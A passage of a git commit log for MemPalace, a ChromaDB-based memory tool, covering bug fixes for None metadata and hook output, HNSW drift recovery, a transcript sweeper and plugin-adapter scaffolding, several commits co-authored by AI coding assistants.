mempalace.mcp_server redirects stdout → stderr at module-level import
(both Python-level and fd-level via os.dup2) to protect the MCP stdio
protocol from ChromaDB's C-level noise. Silent-save imports mcp_server
transitively via _save_diary_direct, so by the time _output() calls
print(), sys.stdout is actually stderr.

Claude Code reads hook output from fd 1. With the redirect in effect,
fd 1 points to fd 2, so our {"systemMessage": "✦ N memories woven..."}
JSON lands on stderr and Claude Code never renders it. The save still
happens, the marker still advances — the user just never sees the
beautiful checkpoint notification in their terminal.

Fix: _output() now writes to _REAL_STDOUT_FD (saved by mcp_server before
the redirect) via os.write(), falling back to sys.stdout only when the
saved fd is unavailable (e.g., hooks_cli imported without mcp_server).

Test: bash hook script 2>/dev/null now shows only the JSON;
2>&1 >/dev/null shows only the Diary entry log line — clean separation
restored.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-18 18:05:18 -07:00
jpandClaude Opus 4.7 914945637c fix(hooks): honor silent_save when stop_hook_active is set
Claude Code 2.1.114 passes stop_hook_active:true on every Stop fire
after the first in a session (plugin-dispatched hooks in particular).
The legacy guard at line 426 was written for block-mode, where a
re-fire with the flag set meant "you already blocked, don't block
again" — correct loop prevention when the hook returns
{"decision":"block"}.

Silent-save mode (default since #673) never blocks — it saves
directly and returns. The flag is meaningless there, so the old
guard was suppressing every auto-save after the first one in a
Claude Code session. Symptom: terminal never shows the "✦ N
memories woven" notification again, hook.log stays silent, save
marker stuck.

Fix: only skip on stop_hook_active when block mode is configured.
Silent mode runs through as normal — the save is deterministic and
idempotent, no loop risk.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-18 18:05:18 -07:00
jp 0c38deaab5 feat(backends): quarantine_stale_hnsw — recover from HNSW/sqlite drift
Add a helper that renames HNSW segment directories whose
`data_level0.bin` is significantly older than `chroma.sqlite3`. Drift
between the on-disk HNSW graph and the live embeddings table is the
root cause of a segfault class where the Rust graph-walk dereferences
dangling neighbor pointers for entries in the metadata segment that no
longer exist in the HNSW index, crashing in a background thread on
`count()` or `query()`.

Issue #823 describes the same drift as a silent-staleness symptom
(semantic search returns stale results after `add_drawer` because
`data_level0.bin` lags the sqlite metadata under the default
`sync_threshold=1000`). Under heavier load or after an interrupted
write, the same drift can escalate from "silent stale results" to
"SIGSEGV on next open," which is the failure mode observed at
neo-cortex-mcp#2 (chromadb 1.5.5, Python 3.12) and acknowledged at
chroma-core/chroma#2594.

On one 135K-drawer palace where `index_metadata.pickle` claimed 137,813
elements against 135,464 rows in sqlite (2,349-entry drift), fresh
Python processes crashed in `col.count()` 17/20 times; after renaming
the segment dir out of the way and letting ChromaDB rebuild lazily, the
same 20-run check went to 0 crashes.

The recovery path #823 suggests (export / recreate / reimport) is heavy
— it re-embeds every drawer. This helper is lighter: rename the segment
dir so ChromaDB reopens without it, and the indexer rebuilds lazily on
the next write. The original directory is renamed (not deleted) so the
operator can recover if the heuristic misfires.

If `chroma.sqlite3` is more than `stale_seconds` (default 3600) newer
than the segment's `data_level0.bin`, the segment is considered
suspect. One hour is deliberately conservative — normal HNSW flush
cadence is seconds to minutes, so an hour of drift implies a crashed
mid-write, not routine lag.

- Additive: exposes `quarantine_stale_hnsw(palace_path, stale_seconds)`
  as a helper. Not wired into `_client()` / startup on this PR — the
  goal is to land the primitive first so operators and higher layers
  can opt in. A follow-up could call it automatically on palace open
  behind an env var or config flag.
- Closes #823 by giving operators a first-class recovery path without
  having to install `chromadb-ops` or re-mine.

Four new tests in `tests/test_backends.py`:
- renames drifted segment, preserves original files under `.drift-TS` suffix
- leaves fresh segments alone
- no-op on missing palace path / missing `chroma.sqlite3`
- skips already-quarantined (`.drift-` suffixed) directories

`pytest tests/test_backends.py` → 11 passed. `ruff check` / `ruff format
--check` — clean.
2026-04-18 18:04:05 -07:00
Igor Lins e Silva 109d7f267c Merge pull request #990 from MemPalace/docs/rfc-source-adapter-plugin-spec
docs: RFC 002 — Source adapter plugin specification
2026-04-18 19:12:20 -03:00
Igor Lins e Silva 66090b2bcb Merge pull request #1014 from MemPalace/refactor/rfc-002-sources-scaffolding
refactor(sources): RFC 002 §9 scaffolding — BaseSourceAdapter, registry, PalaceContext
2026-04-18 18:44:52 -03:00
Igor Lins e Silva 8a130fc509 Merge pull request #1012 from MemPalace/docs/use-real-claude-projects-path-996
docs: use real ~/.claude/projects/ path in first-run help and README (#996)
2026-04-18 18:43:53 -03:00
Igor Lins e Silva 7af3bfae8f Merge pull request #1010 from MemPalace/fix/chromadb-1-5-4-py-3-13-compat-via-581
fix: upgrade chromadb to >=1.5.4 for Python 3.13/3.14 compatibility + fix 1.5.x queue-stall (closes #1006)
2026-04-18 18:43:34 -03:00
Ben Sigman 64266695b5 Merge pull request #1013 from MemPalace/fix/layer3-search-raw-none-guard-1011
fix: guard Layer3.search_raw against None doc/meta from ChromaDB (#1011)
2026-04-18 13:41:55 -07:00
Ben Sigman 1b89b49b78 Merge pull request #999 from jphein/fix/searcher-none-metadata
fix(searcher): guard against None metadata in CLI print path
2026-04-18 13:41:52 -07:00
bensig 49e9e04a12 fix: guard Layer3.search_raw against None doc/meta from ChromaDB (#1011)
Same class of bug as #1007: ChromaDB's query() can return None in the
documents and metadatas arrays when a drawer's HNSW vector entry exists
but its metadata/document rows haven't been materialized. The code in
Layer3.search_raw (mempalace/layers.py) calls meta.get("wing", ...),
meta.get("room", ...), meta.get("source_file", ...) directly without
null safety, so it raises:

  AttributeError: 'NoneType' object has no attribute 'get'

Two-line defensive coercion matching the pattern in #1009 /
PR #999 for searcher.py: meta = meta or {}, doc = doc or "".
The hit still appears with its real distance; source/wing/room
fall back to their fallback values where the metadata row is missing.

Frequently hit on chromadb 1.5.x (root cause #1006). Even after the
chromadb floor lands (#1010), partial-state results remain possible
during interrupted mines and schema upgrade boundaries, so the guard
is worth having on its own.

Fixes #1011.
2026-04-18 13:30:57 -07:00
bensig a2da0d6ef4 docs: use real ~/.claude/projects/ path in first-run help and README (#996)
The CLI help text and README told first-time users to mine from ~/chats/,
a path that doesn't exist on any machine. Real location where Claude
Code writes session JSONL is ~/.claude/projects/<escaped-project-path>/.

Updates three user-visible strings:
- mempalace/cli.py line 7 ("Two ways to ingest" block)
- mempalace/cli.py line 25 (Examples block)
- README.md line 58 (Quickstart)

Website guides (website/guide/mining.md, getting-started.md) still
reference ~/chats/ for ChatGPT/Slack export scenarios where that remains
a valid placeholder. Those can be a separate PR if the maintainers want
to tilt the website examples toward Claude Code specifically.

Fixes #996.
2026-04-18 13:30:50 -07:00
Igor Lins e Silva 89904ed03f fix(sources): address Copilot review on #1014
Five findings from the automated review, fixed with targeted tests where
behavior changed:

1. Transformation Protocol (transforms.py). The registry mixed a bytes-to-str
   transform (utf8_replace_invalid) with str-to-str transforms under a single
   Callable[..., str] type, misleading static type checkers and adapter
   authors. Introduced a Transformation Protocol with __call__(data: bytes|str)
   -> str and retyped the registry + get_transformation return.

2. Drawer-id collision risk (context.py). Switched _build_drawer_id from
   sha1[:16]=64 bits to sha256[:24]=96 bits. 64 bits sits uncomfortably
   close to the birthday bound for palace-sized corpora; 96 bits keeps the
   collision probability negligible while preserving the existing
   <prefix>_<chunk> layout adapters rely on.

3. Fresh-schema KG columns (knowledge_graph.py). source_drawer_id and
   adapter_name now live in the canonical CREATE TABLE so new palaces don't
   take an ALTER round-trip on first open. _migrate_schema stays for legacy
   palaces (SQLite has no ADD COLUMN IF NOT EXISTS, so PRAGMA introspection
   is still needed there).

4. Identity-shim comment (transforms.py). Comment said the adapter-specific
   transforms "raise if invoked without adapter context" but they return
   the input unchanged. Updated the comment to match the actual identity-
   shim behavior Copilot suggested.

5. Test docstring (test_sources.py). Comment mentioned default_factory=list
   but SourceRef.options uses default_factory=dict. Corrected.

Tests: 1020 passed (up from 1018), +2 new tests for the sha256 id shape
and the fresh-schema column presence on new palaces.
2026-04-18 17:17:50 -03:00
jp 3f0cfd5ed4 fix(mcp): guard tool_status/list_wings/list_rooms/get_taxonomy against None metadata
Four more MCP handlers iterate a metadata list and call m.get(...)
unconditionally. When the cache contains a None entry (drawers with no
metadata, common on older mining paths), the try block catches the
AttributeError and marks the response "partial: true" with an
error message — visible as {"error": "'NoneType' object has no
attribute 'get'", "partial": true} returned from mempalace_status even
though the palace data is otherwise fetchable.

Same m = m or {} guard we applied to searcher.py (d3a2d22, a51c3c2)
and miner.status() (66f08a1). None-metadata drawers now roll up under
the existing "unknown" fallback bucket instead of poisoning the
response with a misleading partial flag.

Regression test: mock the metadata cache with a None in the middle,
assert tool_status returns clean counts and no error/partial fields.
Verified the test fails without the guard.

998 tests pass.
2026-04-18 12:38:23 -07:00
Legion345 fa7fe1d51f chromadb at <2 to guard against breaking changes in future major versions 2026-04-18 12:05:46 -07:00
Legion345 d0c8ecd847 fix: upgrade chromadb to >=1.5.4 for python 3.13/3.14 compatibility 2026-04-18 12:05:46 -07:00
Igor Lins e Silva 552e9927b7 refactor(sources): RFC 002 §9 scaffolding — BaseSourceAdapter, registry, PalaceContext
Lands the read-side contract so third-party adapter authors (@Perseusxrltd,
@JakobSachs, @adv3nt3, @zendesk-thittesdorf, @mfhens, @roip, @MrDys) have a
stable target matching what RFC 001 §10 landed on the write side in #995.

Scope (this PR):

- mempalace/sources/base.py: BaseSourceAdapter ABC with kwargs-only
  ingest() / describe_schema() and default is_current() / source_summary()
  / close() (§1.1–1.2). Typed records: SourceRef, SourceItemMetadata,
  DrawerRecord, RouteHint, SourceSummary, AdapterSchema, FieldSpec (§1.3,
  §5.2). Error classes: SourceNotFoundError, AuthRequiredError,
  AdapterClosedError, TransformationViolationError, SchemaConformanceError
  (§2.7). Class-level identity contract: name / adapter_version /
  capabilities / supported_modes / declared_transformations /
  default_privacy_class (§2.1, §1.4, §1.5, §6).

- mempalace/sources/transforms.py: reference implementations of the 13
  reserved transformations (§1.4) — utf8_replace_invalid, newline_normalize,
  whitespace_trim, whitespace_collapse_internal, line_trim, line_join_spaces,
  blank_line_drop — as pure functions, plus identity shims for the six
  adapter-specific ones (strip_tool_chrome, tool_result_truncate,
  tool_result_omitted, spellcheck_user, synthesized_marker,
  speaker_role_assignment) that the conversations adapter will override
  when migrated. get_transformation(name) resolves by reserved name.

- mempalace/sources/registry.py: entry-point discovery via
  importlib.metadata.entry_points(group="mempalace.sources") + explicit
  register()/unregister() surface (§3.1–3.2). resolve_adapter_for_source()
  implements the §3.3 priority order; crucially, no auto-detection on the
  read side (§3.3 is explicit about that — user intent never inferred from
  on-disk artifacts).

- mempalace/sources/context.py: PalaceContext facade (§9) bundling the
  drawer/closet collections, knowledge graph, palace path, adapter identity,
  and progress hooks core passes into adapter.ingest(). upsert_drawer()
  applies the spec-mandated adapter_name/adapter_version stamps from §5.1.
  skip_current_item() signals laziness; emit() dispatches to hooks and
  swallows hook exceptions.

- mempalace/knowledge_graph.py: add_triple() gains optional source_drawer_id
  and adapter_name kwargs (§5.5). Backwards-compatible column migration
  auto-adds the new columns on open of a pre-RFC 002 palace (PRAGMA
  table_info then ALTER TABLE ADD COLUMN), matching the pattern used for
  any new palace-side provenance fields.

- pyproject.toml: mempalace.sources entry-point group declared. Empty on
  the first-party side for now — miners migrate in a follow-up; the group
  being present means third-party packages can begin registering today.

Out of scope (explicit follow-ups):

- miner.py → mempalace/sources/filesystem.py. Behavior-preserving rename
  that also moves READABLE_EXTENSIONS, detect_room(), detect_hall() into
  the adapter (§9). Larger refactor; lands separately.
- convo_miner.py + normalize.py → mempalace/sources/conversations.py. The
  format-detection if-chain in normalize.py becomes per-format plugins;
  declared_transformations enumerates what the current pipeline already
  does to source bytes (§1.4 existing-code mapping).
- Closet post-step wired into the conversations adapter (§1.7).
- CLI --source flag + --mode deprecation alias (§3.3).
- MCP mempalace_mine tool source parameter.
- AbstractSourceAdapterContractSuite (§7.1–7.3): byte-preservation round-
  trip and declared-transformation round-trip tests.
- Privacy-class floor enforcement (§6.2); depends on #389 for
  secrets_possible scanning.

Tests: 1018 passed (up from ~990 on develop), +27 targeted tests covering
the ABC instantiation rules, typed records, all reserved transformations,
the registry register/get/unregister surface, PalaceContext upsert + skip +
emit semantics, and both the new KG provenance kwargs and backwards-
compatible legacy-schema migration.

Refs: #989 (RFC 002 tracking), #990 (RFC 002 spec), #995 (RFC 001 §10
cleanup — sibling PR on the write side).
2026-04-18 16:05:32 -03:00
Igor Lins e Silva 2b9f17c401 Merge pull request #995 from MemPalace/refactor/rfc-001-cleanup
refactor(backends): RFC 001 §10 cleanup — typed results, PalaceRef, registry
2026-04-18 15:56:12 -03:00
jp 7690574dde fix(searcher): guard API path + closet loop against None metadata too
Per Copilot review on the CLI-only PR (#999): search_memories() has the
same vulnerability in two additional spots, since ChromaDB can return
None entries in the inner metadatas list for either the drawer query or
the closets query. Without guards, the API path crashes with:

    AttributeError: 'NoneType' object has no attribute 'get'

at either \`cmeta.get("source_file", "")\` in the closet boost lookup or
\`meta.get("source_file", "") or ""\` in the drawer scoring loop.

Applies the matching \`meta = meta or {}\` / \`cmeta = cmeta or {}\`
guard at both sites and adds an API-path regression test that mocks a
drawer query result with a None metadata entry and asserts both hits
render — the None-metadata hit with the existing \`"unknown"\` sentinel
values the scoring loop already writes for missing keys.

Verified both the new API test and the existing CLI test fail without
the guards (AttributeError) and pass with them.
2026-04-18 10:37:05 -07:00
jp feba7e8043 fix(miner): same None-metadata guard for status() histogram loop
`status()` walks `col.get(include=["metadatas"])` and buckets each drawer
into a `wing_rooms[wing][room]` histogram. The same ChromaDB return shape
fixed in the search print path — `None` entries in the `metadatas` list
for drawers with no stored metadata — crashes the status command with:

    AttributeError: 'NoneType' object has no attribute 'get'

Applies the matching ``m = m or {}`` guard so None-metadata drawers roll
up under the existing `?/?` fallback bucket instead of killing the
command mid-tally. Reproduced on a 135K-drawer palace where two drawers
had `metadata=None`; both now show under `WING: ? / ROOM: ?` in the
tally while the command prints the full histogram as designed.

Adds a regression test that feeds `status()` a fake collection whose
`get()` returns a `None` in the middle of the metadatas list and asserts
both the fallback bucket and the real wing render.
2026-04-18 10:26:11 -07:00
jp a3c778210b fix(searcher): guard against None metadata in CLI print path
`col.query(...)` can return `None` entries in the inner ``metadatas`` list
for drawers whose metadata was never set (older palaces, rows written
outside the normal mining path). The CLI `search()` function would render
earlier results successfully and then crash mid-loop with:

    AttributeError: 'NoneType' object has no attribute 'get'

at ``searcher.py:286`` — ``meta.get("source_file", "?")``. The user sees
partial output followed by a traceback, with no indication of which
drawers rendered OK and which were skipped.

Guard with ``meta = meta or {}`` inside the loop so entries with missing
metadata fall back to the existing ``"?"`` defaults instead of crashing,
matching the hit dict assembly in ``search_memories()`` which already
uses ``meta.get("wing", "unknown")`` etc. against the same data.

Adds a regression test that mocks a ChromaDB result with a ``None``
metadata entry in the middle of the inner list and asserts both result
blocks render to stdout.
2026-04-18 10:00:59 -07:00
mvalentsev 5189e0d652 test(i18n): add entity section smoke tests and schema invariants 2026-04-18 21:58:11 +05:00
mvalentsev 118cbe40bd feat(i18n): add entity detection to French locale 2026-04-18 21:56:45 +05:00
mvalentsev e17f219be8 feat(i18n): add entity detection to Spanish locale 2026-04-18 21:54:39 +05:00
Igor Lins e Silva efaa39bea9 test(backends): dedup update-length-validation tests
24bf97b (network-download fix) and my earlier Copilot-review commit both
added tests for the same ValueError. Keep the broader one that covers
both 'documents length' and 'metadatas length' mismatches; drop the
narrower duplicate.
2026-04-18 13:53:46 -03:00
mvalentsev 7006a6b42d feat(i18n): add entity detection to German locale 2026-04-18 21:53:11 +05:00
Igor Lins e Silva 61dd6e7d9c test(backends): fix Windows file-lock in cache-invalidation test
PermissionError [WinError 32] on Windows when Path.unlink() runs while
chromadb.PersistentClient still holds a handle on chroma.sqlite3. Rewrite
test_chroma_cache_invalidates_when_db_file_missing to prime
backend._clients/_freshness with a sentinel object instead of opening a
real PersistentClient, so the unlink runs against an unheld file.

The assertion is also corrected: after invalidation, ChromaBackend's
_client rebuilds a fresh PersistentClient which re-creates chroma.sqlite3
and re-stats it, so freshness ends up at the post-rebuild stat (not
(0, 0.0) as the assertion previously expected). The meaningful invariant
is "freshness advanced past the pre-unlink value AND the sentinel was
replaced", which the test now checks.

Ref: Windows CI failure on 995.
2026-04-18 13:52:56 -03:00
Igor Lins e Silva 74a31b70d3 Merge pull request #998 from MemPalace/fix/silent-transcript-drop
Fix silent transcript drop: .jsonl ingestion + 500 MB cap + tandem sweeper
2026-04-18 13:38:02 -03:00
copilot-swe-agent[bot]andigorls 24bf97bb65 fix(tests): avoid ONNX network download in update-length validation tests
test_base_collection_update_default_validates_list_lengths and
test_base_collection_update_default_rejects_mismatched_lengths were
spinning up a real ChromaBackend and calling add(documents=...), which
triggered ChromaDB's default ONNX embedding function and attempted a
network download — failing in offline/sandboxed CI.

BaseCollection.update() validates list lengths before any DB access, so
no items need to be pre-loaded for the length-check to fire. Switch both
tests to use _FakeCollection (same as the rest of the unit tests in this
file) so they are pure in-memory and network-free.

Also fixes a structural bug in test 1: collection._collection.add() was
accidentally placed inside the pytest.raises(ValueError) block, masking
the real assertion.

Agent-Logs-Url: https://github.com/MemPalace/mempalace/sessions/55fc663e-b256-4b8b-88ce-4271560def8d

Co-authored-by: igorls <4753812+igorls@users.noreply.github.com>
2026-04-18 16:23:58 +00:00
Igor Lins e SilvaandMSL 4a088ea8e1 Address Copilot review: cursor tie-break, honest metrics, accurate comments
Six items from the automated review on PR #998:

1. **Cursor tie-break bug (correctness).** The skip condition was
   `rec.timestamp <= cursor`; if multiple messages share the max
   timestamp and only some were ingested before a crash, the rest
   would be lost forever. Changed to `< cursor`, relying on
   deterministic drawer IDs for safe re-attempt at the boundary.
   Regression test
   `test_sweep_recovers_untaken_message_at_cursor_timestamp`.

2. **`drawers_added` counted upserts, not adds.** Added a pre-flight
   `collection.get(ids=batch)` to distinguish new rows from already-
   present ones. Return value now carries `drawers_added`,
   `drawers_already_present`, `drawers_upserted`, and `drawers_skipped`
   separately. Dict-compatible access (`existing.get("ids")`) keeps it
   working on both the raw Chroma return and the typed `GetResult`.

3. **`sweep_directory` hid failures in the summary.** `files_processed`
   used to exclude failed files. Replaced with `files_attempted` (all
   discovered) + `files_succeeded` (subset that completed); CLI output
   shows `succeeded/attempted`.

4. **Coordination claim was overstated.** The primary miners don't
   stamp `session_id`/`timestamp` metadata, so the sweeper coordinates
   only with its own prior runs. Softened docstrings on module and CLI
   command. Uniform cross-miner metadata is flagged as a follow-up.

5. **MAX_FILE_SIZE comments were misleading.** Said source size "does
   not affect storage or embedding cost" — true per-drawer, but source
   size still scales drawer count, embedding work, and memory usage
   (files are read in full, not streamed). Corrected in both
   `miner.py` and `convo_miner.py`.

6. Added the tie-break regression test that reproduces the correctness
   bug from (1).

Tests: 970 passed (was 969), ruff + pre-commit clean.

Co-Authored-By: MSL <232237854+milla-jovovich@users.noreply.github.com>
2026-04-18 13:22:18 -03:00
Igor Lins e Silva 42b940d263 fix(backends): address Copilot review on #995
Four defects surfaced by the automated review, fixed with targeted tests:

1. BaseCollection.update() default now validates that documents / metadatas /
   embeddings lengths match ids, raising ValueError instead of silently
   misaligning pairs or raising IndexError (base.py).

2. ChromaCollection.query() now rejects the two ambiguous input shapes up
   front — neither or both of query_texts / query_embeddings, and empty input
   lists — with clear ValueError messages rather than delegating to chromadb's
   less-obvious errors (chroma.py).

3. QueryResult.empty() accepts embeddings_requested=True to preserve the
   outer-query dimension with empty hit lists when the caller asked for
   embeddings, matching the spec rule that included fields carry the outer
   shape even when empty (base.py). ChromaCollection.query() threads this
   through on the empty-result path (chroma.py).

4. ChromaBackend cache-freshness check now matches the semantics from
   mcp_server._get_client (merged via #757) on three edge cases Copilot
   called out: (a) invalidate when chroma.sqlite3 disappears while a cached
   client is held, (b) treat a 0→nonzero stat transition as a change so a
   cache built when the DB did not yet exist is refreshed, (c) re-stat
   after PersistentClient constructs the DB lazily so freshness reflects
   the post-creation state (chroma.py).

Tests: 978 passed (up from 970), 8 new tests covering the fixes.
2026-04-18 13:19:18 -03:00
Igor Lins e SilvaandMSL 29ce7c7135 Harden sweeper for production: verbatim tool blocks, full session_id, logged failures
Four changes on top of the proposal's initial sweeper draft, driven by
the CLAUDE.md design principles:

1. Drop the 500-char truncation on tool_use / tool_result content in
   _flatten_content. The "verbatim always" principle forbids lossy
   compression of user-adjacent data; a long code-edit diff handed to
   the assistant must round-trip intact. Unknown block types now also
   serialize their full payload instead of just a type marker. New test
   test_parse_preserves_tool_blocks_verbatim covers a 5000-char input.

2. Use the full session_id in drawer IDs (not session_id[:12]). Rules
   out cross-session collisions if a transcript source ever uses
   non-UUID session identifiers or shared prefixes.

3. Replace silent `except Exception: return None` in get_palace_cursor
   with a logger.warning — the exact anti-pattern this PR otherwise
   criticizes in miner.py. The fallback behavior is still safe
   (deterministic IDs make a missed cursor recover on the next run),
   but the failure is now discoverable.

4. sweep_directory now collects per-file failures into the result dict
   and the CLI exits non-zero when any file failed, so a partial-sweep
   outcome is visible rather than swallowed.

Co-Authored-By: MSL <232237854+milla-jovovich@users.noreply.github.com>
2026-04-18 13:14:32 -03:00
MSLandClaude Opus 4.7 fed69935d3 Add tandem sweeper: message-level safety net for dropped transcripts
The primary miners (miner.py, convo_miner.py) operate at file
granularity and can drop data for several reasons: size caps, silent
OSError on read, dedup false positives, extensions the project miner
does not recognize. Even with tonight's hotfixes, any future bug in
the file-level path risks silent data loss.

The sweeper is a second, cooperating miner that works at MESSAGE
granularity:

  - Parses Claude Code .jsonl line by line, yielding only
    user/assistant records (filters progress, file-history-snapshot,
    etc. noise).
  - For each session_id, queries the palace for max(timestamp) and
    treats that as the cursor.
  - Ingests only messages newer than the cursor, as one small drawer
    per exchange (never hits a size cap — each drawer is 1-5 KB).
  - Deterministic drawer IDs from session_id + message UUID make
    reruns idempotent; crash mid-sweep is safe.

Tandem coordination is free: if the primary miner committed up to
timestamp T, the sweeper resumes from T. If the primary miner missed
everything, the sweeper catches it all. Neither duplicates the other.

Smoke test on a real Claude Code transcript:
  1st run: +39 drawers, 0 already present
  2nd run: +0 drawers, 39 already present  (perfect idempotence)

Opt-in via:
  mempalace sweep <file.jsonl>
  mempalace sweep <transcript-dir>

No changes to existing miners. No schema migration. Purely additive.

Tests: tests/test_sweeper.py (7 tests covering parsing, tandem
coordination, idempotency, resume-from-cursor, metadata correctness).

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-18 12:52:06 -03:00
MSLandClaude Opus 4.7 6f33d52681 Raise convo_miner MAX_FILE_SIZE cap 10 MB → 500 MB
Mirrors the miner.py fix in this same branch. convo_miner.py had the
exact same 10 MB cap at line 58 that silently dropped long transcripts
via continue. Long Claude Code sessions, multi-year ChatGPT exports,
and lifetime Slack dumps all exceed 10 MB. Same silent-drop pattern,
different file.

Raised to 500 MB to match miner.py for consistency; downstream chunking
means source file size does not affect storage or embedding cost.

Tests: tests/test_convo_miner_size_cap.py (1 test)

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-18 12:52:01 -03:00
MSLandClaude Opus 4.7 d137d12313 Raise MAX_FILE_SIZE cap from 10 MB to 500 MB
Long Claude Code sessions routinely produce transcripts larger than 10
MB. The previous cap at miner.py:65 silently dropped them at line 732
with `if filepath.stat().st_size > MAX_FILE_SIZE: continue` — same
silent-failure pattern as the .jsonl extension bug.

The cap exists as a safety rail against pathological binaries, not as
a limit on legitimate text. Downstream chunking at 800 chars per drawer
means source file size does not affect storage or embedding cost.

500 MB leaves headroom for year-long continuous transcripts while still
catching accidental multi-GB binary mines.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-18 12:52:01 -03:00
MSLandClaude Opus 4.7 560fdbdc9f Fix silent drop of .jsonl files in project miner
mempalace/miner.py:READABLE_EXTENSIONS contained `.json` but not
`.jsonl`. Every jsonl file encountered in a mined directory was
silently skipped at miner.py:722:

    if filepath.suffix.lower() not in READABLE_EXTENSIONS:
        continue

Claude Code transcripts, ChatGPT exports, and every other tool writing
line-delimited JSON ship as `.jsonl`. Users running `mempalace mine`
against a directory of transcripts saw the command complete with no
error and no log line — and their conversations never reached the
palace. Silent data loss.

Adding `.jsonl` to the whitelist alongside `.json`. jsonl is text
line-by-line; the existing chunking pipeline handles it the same way
it handles any other text file.

Tests: tests/test_miner_jsonl_visibility.py

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-18 12:52:01 -03:00
Igor Lins e Silva a17a8b734a refactor(backends): typed QueryResult/GetResult, PalaceRef, BaseBackend registry (RFC 001 §10)
Advances RFC 001 §10 cleanup so backend-author PRs (#574 LanceDB, #665 Postgres,
#700 Qdrant, #697 hosted, #643 PalaceStore, #381 Qdrant) have a stable target
to align against.

Scope (this PR):

- Typed QueryResult / GetResult dataclasses replace Chroma's dict shape at
  the BaseCollection boundary (§1.3). A transitional _DictCompatMixin keeps
  existing callers working while the attribute-access migration proceeds.
- BaseCollection is now kwargs-only across add/upsert/query/get/delete/update
  with ABC defaults for estimated_count/close/health and a non-atomic default
  update() (§1.1–1.2).
- PalaceRef replaces raw path strings at the backend boundary (§2.2).
- BaseBackend ABC with get_collection/close_palace/close/health/detect (§2.3).
- mempalace.backends entry-point group + in-tree registry with
  resolve_backend_for_palace priority order matching §3.2–3.3.
- ChromaCollection normalizes chroma returns into typed results; unknown
  where-clause operators raise UnsupportedFilterError (no silent drop, §1.4).
- ChromaBackend absorbs the inode/mtime client-cache freshness check
  previously duplicated in mcp_server._get_client() (§10 + PR #757).
- searcher.py migrated to typed-attribute access as the reference call
  site; remaining callers land in a follow-up.
- pyproject: chroma registered via [project.entry-points."mempalace.backends"].

Out of scope (explicit follow-ups):

- Full caller migration off the dict-compat shim across palace.py,
  mcp_server.py, miner.py, convo_miner.py, dedup.py, repair.py, exporter.py,
  palace_graph.py, cli.py, closet_llm.py.
- Embedder injection + three-state EmbedderIdentityMismatchError check (§1.5).
- maintenance_state() / run_maintenance() benchmark hooks (§7.3).
- AbstractBackendContractSuite full coverage (§7.1–7.2).
- mempalace migrate / mempalace verify CLI rewrites through BaseCollection (§8).

Tests: 970 passed (up from 967 on develop); new coverage for typed results,
empty-result outer-shape preservation, \$regex rejection, registry lookup,
priority resolver, and PalaceRef-kwarg ChromaBackend.get_collection.

Refs: #743 (RFC 001), #989 (RFC 002 tracking issue).
2026-04-18 12:45:16 -03:00
bensig 41d45d9336 docs: RFC 002 — source adapter plugin specification
Draft plugin specification for source adapters, mirroring RFC 001's
role for storage backends. Formalizes the contract six community
ingester PRs (#274, #23, #169, #232, #567, #98, #702) plus #981's
metadata-only mode have been reinventing ad-hoc, so adapter authors
can build to a stable surface.

Key decisions:
- Single ingest() method; lazy adapters yield SourceItemMetadata
  ahead of drawers, eager adapters interleave
- Declared-transformation model (§1.4) replaces informal verbatim
  promise with a verifiable one; byte_preserving adapters declare
  the empty set, declared_lossy adapters enumerate. Existing
  miner.py and the convo_miner+normalize pipeline map cleanly
- Palace is the incremental cursor via is_current(item, metadata);
  no sidecar persistence
- Routing is adapter-owned; detect_room/detect_hall move into the
  filesystem adapter
- Flat metadata per ChromaDB (RFC 001 §1.4) — entity hints as
  json_string field, KG triples route to SQLite knowledge graph
- Closets stay core-built as a post-step; adapters may emit flat
  closet_hints. Closes existing gap where convo drawers get no
  closets
- No per-drawer field renames: source_file, filed_at, source_mtime,
  added_by, normalize_version, entities, ingest_mode all preserved.
  Spec adds adapter_name, adapter_version, privacy_class

§9 enumerates the cleanup PR prerequisites (mempalace/sources/
module, PalaceContext facade, KnowledgeGraph.add_triple gaining
backwards-compatible source_drawer_id + adapter_name params).

Tracking issue: #989
2026-04-17 23:42:46 -07:00
Igor Lins e Silva e4a2cd48a2 Merge pull request #984 from domiscd/feat/landing-page-update
feat/landing-page: Improve landing page readability
2026-04-17 19:47:39 -03:00
Dominique Deschatre 2e3e0b979c Update landing.css 2026-04-17 19:40:25 -03:00
Dominique Deschatre 9e8281aab5 (landing) svg icons animations 2026-04-17 19:37:30 -03:00
Dominique Deschatre e5f5009f80 (landing) added Closets section 2026-04-17 19:18:10 -03:00
Dominique Deschatre 89f0eb5cb3 refactor(website): split Landing.vue into section components
Extract 2002-line monolith into landing/ subfolder:
- 8 section components (FolioHeader, HeroSection, ForgettingSection, AnatomySection, DialectSection, MechanicsSection, InstallSection, CatalogFooter)
- useLandingEffects.js composable for all vanilla-JS effects
- landing.css for all styles
- Landing.vue reduced to 28-line orchestrator

Also restores upstream hero lede text ("permanent. Designed for total recall.").
2026-04-17 18:49:41 -03:00
Dominique DeschatreandCopilot 8c3d1ba86c Merge remote-tracking branch 'upstream/develop' into feat/landing-page-update
Co-authored-by: Copilot <copilot@github.com>
2026-04-17 17:00:47 -03:00
Dominique Deschatre 28d4f67ba2 landing hero container 2026-04-17 15:53:50 -03:00
dependabot[bot] 0e632df85d chore(deps): bump actions/checkout from 4 to 6
Bumps [actions/checkout](https://github.com/actions/checkout) from 4 to 6.
- [Release notes](https://github.com/actions/checkout/releases)
- [Changelog](https://github.com/actions/checkout/blob/main/CHANGELOG.md)
- [Commits](https://github.com/actions/checkout/compare/v4...v6)

---
updated-dependencies:
- dependency-name: actions/checkout
  dependency-version: '6'
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
2026-04-17 07:56:09 +00:00
dependabot[bot] 04d80eb363 chore(deps): bump actions/upload-pages-artifact from 3 to 5
Bumps [actions/upload-pages-artifact](https://github.com/actions/upload-pages-artifact) from 3 to 5.
- [Release notes](https://github.com/actions/upload-pages-artifact/releases)
- [Commits](https://github.com/actions/upload-pages-artifact/compare/v3...v5)

---
updated-dependencies:
